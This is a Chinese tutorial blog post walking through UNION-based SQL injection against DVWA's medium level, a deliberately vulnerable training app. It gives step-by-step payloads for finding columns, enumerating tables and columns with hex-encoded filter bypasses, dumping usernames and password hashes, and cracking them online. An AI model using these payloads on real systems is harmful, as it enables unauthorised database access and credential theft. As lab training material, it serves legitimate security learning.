DVWA SQL注入(medium)

1.判断注入点是否存在注入

抓包,数据发送到Repeater

将ID值改为引号,查看Response,若不正常返回,则证明与查询语句中的该参数前的引号闭合,存在注入点

2.判断注入类型

若将ID值改为1 and 1 =1,正常返回;改为1 and 1=2,不正常返回,则证明其为数字型注入

若将ID值改为1’and ‘1’ =’1(或1’and 1 =1#),正常返回;改为1’ and’1’=’2(或1’and 1=2#),不正常返回,则证明其为字符型注入(一般用#方法)

(题中皆为不正常返回,证明其不为字符型注入)

3.判断列的长度(order by二分法)

1 order by 10# 结果:unknown

1 order by 5# 结果:unknown

1 order by 3# 结果:unknown

1 order by 2# 结果:正常

说明有2列

大致能判断后台sql语句:select Firstname,Surname from users where user_id=$id

4.判断页面的回显点

输入1 union select 1,2#

后台语句:select Firstname,Surname from users where id=1 union select 1,2#

5. 通过替换来查找想要的信息

输入1 union select 1,version()#

6.爆数据库名

输入-1 union select 1,database()# 得到数据库名称为dvwa

7.爆数据表

-1 union select 1,table_name from information_schema.tables where table_schema='dvwa'#

 ​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​

(图片错误,类似的原图请看标题8,这里图片用的是database()方法)

发生报错,错误信息提示在'\'dvwa\''附近有语法问题,可以尝试将users经十六进制编码为0x64767761以绕过对表名的过滤

爆出两个表:guestbook,users,我们猜测用户名和密码在users表

8.爆字段名

-1 union select 1,column_name from information_schema.columns where table_name='users'#

 

发生报错,错误信息提示在'\'users\''附近有语法问题,可以尝试将users经十六进制编码为0x7573657273以绕过对表名的过滤

 

用户名和密码对应的字段名为user,password

9.爆字段值(真实情况下不要做, dump50条数据违法)

-1 union select user,password from users#

 

结果

First name: admin

Surname:  5f4dcc3b5aa765d61d8327deb882cf99

https://cmd5.com/去解密

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值